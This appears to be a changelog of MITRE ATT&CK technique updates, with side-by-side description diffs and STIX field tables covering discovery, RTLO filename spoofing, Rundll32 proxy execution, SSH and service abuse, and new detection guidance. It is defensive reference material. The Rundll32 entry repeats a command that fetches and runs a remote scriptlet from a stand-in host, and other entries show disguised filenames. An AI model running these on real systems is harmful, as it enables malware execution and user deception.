| t | 1 | Adversaries may attempt to get a listing of other systems by | t | 1 | Adversaries may attempt to get a listing of other systems by |
| > | IP address, hostname, or other logical identifier on a netw | > | IP address, hostname, or other logical identifier on a netw | ||
| > | ork that may be used for Lateral Movement from the current s | > | ork that may be used for Lateral Movement from the current s | ||
| > | ystem. Functionality could exist within remote access tools | > | ystem. Functionality could exist within remote access tools | ||
| > | to enable this, but utilities available on the operating sys | > | to enable this, but utilities available on the operating sys | ||
| > | tem could also be used such as [Ping](https://attack.mitre. | > | tem could also be used such as [Ping](https://attack.mitre. | ||
| > | org/software/S0097) or <code>net view</code> using [Net](htt | > | org/software/S0097) or <code>net view</code> using [Net](htt | ||
| > | ps://attack.mitre.org/software/S0039). Adversaries may also | > | ps://attack.mitre.org/software/S0039). Adversaries may also | ||
| > | use local host files (ex: <code>C:\Windows\System32\Drivers\ | > | use local host files (ex: <code>C:\Windows\System32\Drivers\ | ||
| > | etc\hosts</code> or <code>/etc/hosts</code>) in order to dis | > | etc\hosts</code> or <code>/etc/hosts</code>) in order to dis | ||
| > | cover the hostname to IP address mappings of remote systems. | > | cover the hostname to IP address mappings of remote systems. | ||
| > | Specific to macOS, the <code>bonjour</code> protocol exis | > | |||
| > | ts to discover additional Mac-based systems within the same | ||||
| > | broadcast domain. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-13 21:40:23.368000+00:00 | 2021-10-15 15:30:00.172000+00:00 |
| description | Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\Windows\System32\Drivers\etc\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems.
Specific to macOS, the bonjour protocol exists to discover additional Mac-based systems within the same broadcast domain. | Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\Windows\System32\Drivers\etc\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems.
|
| x_mitre_version | 3.1 | 3.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:45:59.638000+00:00 | 2021-07-20 02:18:04.581000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use the right-to-left override (RTLO or RLO) | t | 1 | Adversaries may abuse the right-to-left override (RTLO or RL |
| > | character (U+202E) as a means of tricking a user into execu | > | O) character (U+202E) to disguise a string and/or file name | ||
| > | ting what they think is a benign file type but is actually e | > | to make it appear benign. RTLO is a non-printing Unicode cha | ||
| > | xecutable code. RTLO is a non-printing character that causes | > | racter that causes the text that follows it to be displayed | ||
| > | the text that follows it to be displayed in reverse.(Citati | > | in reverse. For example, a Windows screensaver executable na | ||
| > | on: Infosecinstitute RTLO Technique) For example, a Windows | > | med <code>March 25 \u202Excod.scr</code> will display as <co | ||
| > | screensaver executable named <code>March 25 \u202Excod.scr</ | > | de>March 25 rcs.docx</code>. A JavaScript file named <code>p | ||
| > | code> will display as <code>March 25 rcs.docx</code>. A Java | > | hoto_high_re\u202Egnp.js</code> will be displayed as <code>p | ||
| > | Script file named <code>photo_high_re\u202Egnp.js</code> wil | > | hoto_high_resj.png</code>.(Citation: Infosecinstitute RTLO T | ||
| > | l be displayed as <code>photo_high_resj.png</code>. A commo | > | echnique) Adversaries may abuse the RTLO character as a mea | ||
| > | n use of this technique is with [Spearphishing Attachment](h | > | ns of tricking a user into executing what they think is a be | ||
| > | ttps://attack.mitre.org/techniques/T1566/001)/[Malicious Fil | > | nign file type. A common use of this technique is with [Spea | ||
| > | e](https://attack.mitre.org/techniques/T1204/002) since it c | > | rphishing Attachment](https://attack.mitre.org/techniques/T1 | ||
| > | an trick both end users and defenders if they are not aware | > | 566/001)/[Malicious File](https://attack.mitre.org/technique | ||
| > | of how their tools display and render the RTLO character. Us | > | s/T1204/002) since it can trick both end users and defenders | ||
| > | e of the RTLO character has been seen in many targeted intru | > | if they are not aware of how their tools display and render | ||
| > | sion attempts and criminal activity.(Citation: Trend Micro P | > | the RTLO character. Use of the RTLO character has been seen | ||
| > | LEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be | > | in many targeted intrusion attempts and criminal activity.( | ||
| > | used in the Windows Registry as well, where regedit.exe dis | > | Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO C | ||
| > | plays the reversed characters but the command line tool reg. | > | yber Crime) RTLO can be used in the Windows Registry as well | ||
| > | exe does not by default. | > | , where regedit.exe displays the reversed characters but the | ||
| > | command line tool reg.exe does not by default. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 20:16:36.316000+00:00 | 2021-10-14 21:01:59.733000+00:00 |
| description | Adversaries may use the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver executable named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png.
A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default. | Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique)
Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default. |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-06 19:03:40.330000+00:00 | 2021-10-14 22:21:59.708000+00:00 |
| x_mitre_detection | Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a headless (in the background with no UI) virtual instance may be especially suspect. Network adapter information may also be helpful in detecting the use of virtual instances. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. Benign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior. | Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.
Consider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages "all").
Monitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software.
Benign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Shadowbunny VM Defense Evasion', 'description': 'Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021.', 'url': 'https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/'} | |
| x_mitre_contributors | Johann Rehberger |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse rundll32.exe to proxy execution of mal | t | 1 | Adversaries may abuse rundll32.exe to proxy execution of mal |
| > | icious code. Using rundll32.exe, vice executing directly (i. | > | icious code. Using rundll32.exe, vice executing directly (i. | ||
| > | e. [Shared Modules](https://attack.mitre.org/techniques/T112 | > | e. [Shared Modules](https://attack.mitre.org/techniques/T112 | ||
| > | 9)), may avoid triggering security tools that may not monito | > | 9)), may avoid triggering security tools that may not monito | ||
| > | r execution of the rundll32.exe process because of allowlist | > | r execution of the rundll32.exe process because of allowlist | ||
| > | s or false positives from normal operations. Rundll32.exe is | > | s or false positives from normal operations. Rundll32.exe is | ||
| > | commonly associated with executing DLL payloads. Rundll32. | > | commonly associated with executing DLL payloads (ex: <code> | ||
| > | exe can also be used to execute [Control Panel](https://atta | > | rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe c | ||
| > | ck.mitre.org/techniques/T1218/002) Item files (.cpl) through | > | an also be used to execute [Control Panel](https://attack.mi | ||
| > | the undocumented shell32.dll functions <code>Control_RunDLL | > | tre.org/techniques/T1218/002) Item files (.cpl) through the | ||
| > | </code> and <code>Control_RunDLLAsUser</code>. Double-clicki | > | undocumented shell32.dll functions <code>Control_RunDLL</cod | ||
| > | ng a .cpl file also causes rundll32.exe to execute. (Citatio | > | e> and <code>Control_RunDLLAsUser</code>. Double-clicking a | ||
| > | n: Trend Micro CPL) Rundll32 can also be used to execute sc | > | .cpl file also causes rundll32.exe to execute. (Citation: Tr | ||
| > | ripts such as JavaScript. This can be done using a syntax si | > | end Micro CPL) Rundll32 can also be used to execute scripts | ||
| > | milar to this: <code>rundll32.exe javascript:"\..\mshtml,Run | > | such as JavaScript. This can be done using a syntax similar | ||
| > | HTMLApplication ";document.write();GetObject("script:https[: | > | to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLA | ||
| > | ]//www[.]example[.]com/malicious.sct")"</code> This behavio | > | pplication ";document.write();GetObject("script:https[:]//ww | ||
| > | r has been seen used by malware such as Poweliks. (Citation: | > | w[.]example[.]com/malicious.sct")"</code> This behavior has | ||
| > | This is Security Command Line Confusion) | > | been seen used by malware such as Poweliks. (Citation: This | ||
| > | is Security Command Line Confusion) Adversaries may also a | ||||
| > | ttempt to obscure malicious code from analysis by abusing th | ||||
| > | e manner in which rundll32.exe loads DLL function names. As | ||||
| > | part of Windows compatibility support for various character | ||||
| > | sets, rundll32.exe will first check for wide/Unicode then AN | ||||
| > | SI character-supported functions before loading the specifie | ||||
| > | d function (e.g., given the command <code>rundll32.exe Examp | ||||
| > | leDLL.dll, ExampleFunction</code>, rundll32.exe would first | ||||
| > | attempt to execute <code>ExampleFunctionW</code>, or failing | ||||
| > | that <code>ExampleFunctionA</code>, before loading <code>Ex | ||||
| > | ampleFunction</code>). Adversaries may therefore obscure mal | ||||
| > | icious code by creating multiple identical exported function | ||||
| > | names and appending <code>W</code> and/or <code>A</code> to | ||||
| > | harmless ones.(Citation: Attackify Rundll32.exe Obscurity)( | ||||
| > | Citation: Github NoRunDll) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-01-20 18:12:11.843000+00:00 | 2021-10-14 21:45:53.057000+00:00 |
| description | Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) | Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).
Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) |
| x_mitre_detection | Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. | Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Attackify Rundll32.exe Obscurity', 'description': 'Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.', 'url': 'https://www.attackify.com/blog/rundll32_execution_order/'} | |
| external_references | {'source_name': 'Github NoRunDll', 'description': 'gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.', 'url': 'https://github.com/gtworek/PSBits/tree/master/NoRunDll'} | |
| x_mitre_contributors | Gareth Phillips, Seek Ltd. | |
| x_mitre_data_sources | File: File Metadata |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-14 14:29:27.290000+00:00 | 2021-09-20 16:47:19.173000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Jen Burns, HubSpot | |
| x_mitre_platforms | IaaS |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to log into remote machines using Secure | > | g/techniques/T1078) to log into remote machines using Secure | ||
| > | Shell (SSH). The adversary may then perform actions as the | > | Shell (SSH). The adversary may then perform actions as the | ||
| > | logged-on user. SSH is a protocol that allows authorized us | > | logged-on user. SSH is a protocol that allows authorized us | ||
| > | ers to open remote shells on other computers. Many Linux and | > | ers to open remote shells on other computers. Many Linux and | ||
| > | macOS versions come with SSH installed by default, although | > | macOS versions come with SSH installed by default, although | ||
| > | typically disabled until the user enables it. The SSH serve | > | typically disabled until the user enables it. The SSH serve | ||
| > | r can be configured to use standard password authentication | > | r can be configured to use standard password authentication | ||
| > | or public-private keypairs in lieu of or in addition to a pa | > | or public-private keypairs in lieu of or in addition to a pa | ||
| > | ssword. In this authentication scenario, the user’s public k | > | ssword. In this authentication scenario, the user’s public k | ||
| > | ey must be in a special file on the computer running the ser | > | ey must be in a special file on the computer running the ser | ||
| > | ver that lists which keypairs are allowed to login as that u | > | ver that lists which keypairs are allowed to login as that u | ||
| > | ser.(Citation: SSH Secure Shell) | > | ser. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 23:43:46.977000+00:00 | 2021-10-15 14:15:06.853000+00:00 |
| description | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user. SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.(Citation: SSH Secure Shell) | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user. SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user. |
| external_references[2]['source_name'] | SSH Secure Shell | Apple Unified Log Analysis Remote Login and Screen Sharing |
| external_references[2]['description'] | SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020. | Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021. |
| external_references[2]['url'] | https://www.ssh.com/ssh | https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins |
| x_mitre_detection | Use of SSH may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. | Use of SSH may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.
On macOS systems log show --predicate 'process = "sshd"' can be used to review incoming SSH connection attempts for suspicious activity. The command log show --info --predicate 'process = "ssh" or eventMessage contains "ssh"' can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)
On Linux systems SSH activity can be found in the logs located in /var/log/auth.log or /var/log/secure depending on the distro you are using. |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Metadata', 'Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:03:22.184000+00:00 | 2021-10-17 16:00:16.273000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} | |
| external_references | {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'} | |
| external_references | {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Metadata', 'Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 02:51:18.167000+00:00 | 2021-10-17 15:39:45.736000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} | |
| external_references | {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'} | |
| external_references | {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:34:19.961000+00:00 | 2021-10-18 17:05:44.743000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse the Windows service control manager to | t | 1 | Adversaries may abuse the Windows service control manager to |
| > | execute malicious commands or payloads. The Windows service | > | execute malicious commands or payloads. The Windows service | ||
| > | control manager (<code>services.exe</code>) is an interface | > | control manager (<code>services.exe</code>) is an interface | ||
| > | to manage and manipulate services.(Citation: Microsoft Serv | > | to manage and manipulate services.(Citation: Microsoft Serv | ||
| > | ice Control Manager) The service control manager is accessib | > | ice Control Manager) The service control manager is accessib | ||
| > | le to users via GUI components as well as system utilities s | > | le to users via GUI components as well as system utilities s | ||
| > | uch as <code>sc.exe</code> and [Net](https://attack.mitre.or | > | uch as <code>sc.exe</code> and [Net](https://attack.mitre.or | ||
| > | g/software/S0039). [PsExec](https://attack.mitre.org/softwa | > | g/software/S0039). [PsExec](https://attack.mitre.org/softwa | ||
| > | re/S0029) can also be used to execute commands or payloads v | > | re/S0029) can also be used to execute commands or payloads v | ||
| > | ia a temporary Windows service created through the service c | > | ia a temporary Windows service created through the service c | ||
| > | ontrol manager API.(Citation: Russinovich Sysinternals) Adv | > | ontrol manager API.(Citation: Russinovich Sysinternals) Tool | ||
| > | ersaries may leverage these mechanisms to execute malicious | > | s such as [PsExec](https://attack.mitre.org/software/S0029) | ||
| > | content. This can be done by either executing a new or modif | > | and <code>sc.exe</code> can accept remote servers as argumen | ||
| > | ied service. This technique is the execution used in conjunc | > | ts and may be used to conduct remote execution. Adversaries | ||
| > | tion with [Windows Service](https://attack.mitre.org/techniq | > | may leverage these mechanisms to execute malicious content. | ||
| > | ues/T1543/003) during service persistence or privilege escal | > | This can be done by either executing a new or modified serv | ||
| > | ation. | > | ice. This technique is the execution used in conjunction wit | ||
| > | h [Windows Service](https://attack.mitre.org/techniques/T154 | ||||
| > | 3/003) during service persistence or privilege escalation. | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 18:52:02.384000+00:00 | 2021-08-30 17:42:40.945000+00:00 |
| description | Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).
[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals)
Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation. | Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).
[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.
Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation. |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking the Registry entries used by services. Adversaries may | > | cking the Registry entries used by services. Adversaries may | ||
| > | use flaws in the permissions for registry to redirect from | > | use flaws in the permissions for Registry keys related to s | ||
| > | the originally specified executable to one that they control | > | ervices to redirect from the originally specified executable | ||
| > | , in order to launch their own code at Service start. Windo | > | to one that they control, in order to launch their own code | ||
| > | ws stores local service configuration information in the Reg | > | when a service starts. Windows stores local service configu | ||
| > | istry under <code>HKLM\SYSTEM\CurrentControlSet\Services</co | > | ration information in the Registry under <code>HKLM\SYSTEM\C | ||
| > | de>. The information stored under a service's Registry keys | > | urrentControlSet\Services</code>. The information stored und | ||
| > | can be manipulated to modify a service's execution parameter | > | er a service's Registry keys can be manipulated to modify a | ||
| > | s through tools such as the service controller, sc.exe, [Po | > | service's execution parameters through tools such as the ser | ||
| > | werShell](https://attack.mitre.org/techniques/T1059/001), or | > | vice controller, sc.exe, [PowerShell](https://attack.mitre. | ||
| > | [Reg](https://attack.mitre.org/software/S0075). Access to R | > | org/techniques/T1059/001), or [Reg](https://attack.mitre.org | ||
| > | egistry keys is controlled through Access Control Lists and | > | /software/S0075). Access to Registry keys is controlled thro | ||
| > | permissions. (Citation: Registry Key Security) If the permi | > | ugh access control lists and user permissions. (Citation: Re | ||
| > | ssions for users and groups are not properly set and allow a | > | gistry Key Security)(Citation: malware_hides_service) If th | ||
| > | ccess to the Registry keys for a service, then adversaries c | > | e permissions for users and groups are not properly set and | ||
| > | an change the service binPath/ImagePath to point to a differ | > | allow access to the Registry keys for a service, adversaries | ||
| > | ent executable under their control. When the service starts | > | may change the service's binPath/ImagePath to point to a di | ||
| > | or is restarted, then the adversary-controlled program will | > | fferent executable under their control. When the service sta | ||
